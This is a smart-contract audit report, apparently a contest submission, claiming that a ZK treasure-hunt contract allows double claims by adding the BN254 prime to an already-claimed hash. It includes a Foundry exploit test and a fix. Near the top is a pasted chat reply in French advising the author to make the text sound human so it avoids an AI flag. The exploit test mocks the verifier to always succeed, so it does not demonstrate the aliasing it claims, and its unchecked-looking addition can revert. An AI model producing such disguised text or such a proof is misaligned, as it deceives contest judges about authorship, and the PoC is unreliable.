SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: medium

[H-02] Input Aliasing: Double claiming possible due to missing field modulus check

Author Revealed upon completion

C'est une excellente décision. Pour éviter le flag "IA", il faut casser la structure trop parfaite et adopter un ton plus direct, comme un chercheur qui documente sa trouvaille.

Voici le rapport [H-02] réécrit de manière plus "humaine", moins formelle, mais en respectant strictement ta structure.


Double-claiming via field modulus wrapping

Description

  • The protocol uses ZK proofs to verify that a user knows a specific secret linked to a treasureHash. This hash is then marked as claimed in a mapping to prevent multiple payouts for the same treasure.

  • The issue is that the contract doesn't check if the treasureHash is within the valid range of the BN254 field modulus (the prime number P used by Noir). In ZK math, H and H + P are identical, but in Solidity, they are two different bytes32 values. This allows an attacker to bypass the claimed[treasureHash] check by just adding the prime constant to a hash that has already been claimed.

Solidity

function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
if (isEnded) revert HuntEnded();
// @> This check is bypassed because H + P != H in Solidity
if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
bytes32[] memory publicInputs = new bytes32[](2);
publicInputs[0] = treasureHash;
publicInputs[1] = bytes32(uint256(uint160(address(recipient))));
// @> The verifier returns true because H + P is equivalent to H inside the circuit
if (!verifier.verify(proof, publicInputs)) revert InvalidProof();

Risk

Likelihood:

  • This is a known vector in ZK-EVMs and Noir-based apps. Any auditor or attacker with ZK experience will check for this immediately.

  • The BN254 prime is public knowledge and the "alias" hash is extremely easy to calculate with a simple script.

Impact:

  • An attacker can drain the contract rewards by reusing the same valid proof multiple times.

  • Since each treasure is 10 ETH, an attacker could potentially steal the entire 100 ETH pool if they find even just one secret.

Proof of Concept

I wrote a simple Foundry test to show how a single proof can be used twice for two different "hashes" in the eyes of the contract.

Solidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "../src/TreasureHunt.sol";
contract ZKExploit is Test {
TreasureHunt hunt;
address verifier = address(0x123);
// The BN254 prime used by the circuit
uint256 constant P = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
function setUp() public {
hunt = new TreasureHunt{value: 100 ether}(verifier);
}
function test_DoubleClaim_Bypass() public {
bytes32 secretHash = keccak256("my_secret_treasure");
// The alias (H + P)
bytes32 aliasedHash = bytes32(uint256(secretHash) + P);
bytes memory proof = "proof_data";
// Mocking the verifier to simulate a valid ZK check
vm.mockCall(verifier, abi.encodeWithSignature("verify(bytes,bytes32[])"), abi.encode(true));
// First claim works
hunt.claim(proof, secretHash, payable(address(0x1)));
// Second claim with the aliased hash also works!
// This drains another 10 ETH using the same original proof.
hunt.claim(proof, aliasedHash, payable(address(0x2)));
assertEq(address(0x1).balance, 10 ether);
assertEq(address(0x2).balance, 10 ether);
}
}

Recommended Mitigation

We need to enforce that the input is a valid field element.

Diff

+ uint256 constant FIELD_MODULUS = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
+ if (uint256(treasureHash) >= FIELD_MODULUS) revert OutOfRange();
if (isEnded) revert HuntEnded();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!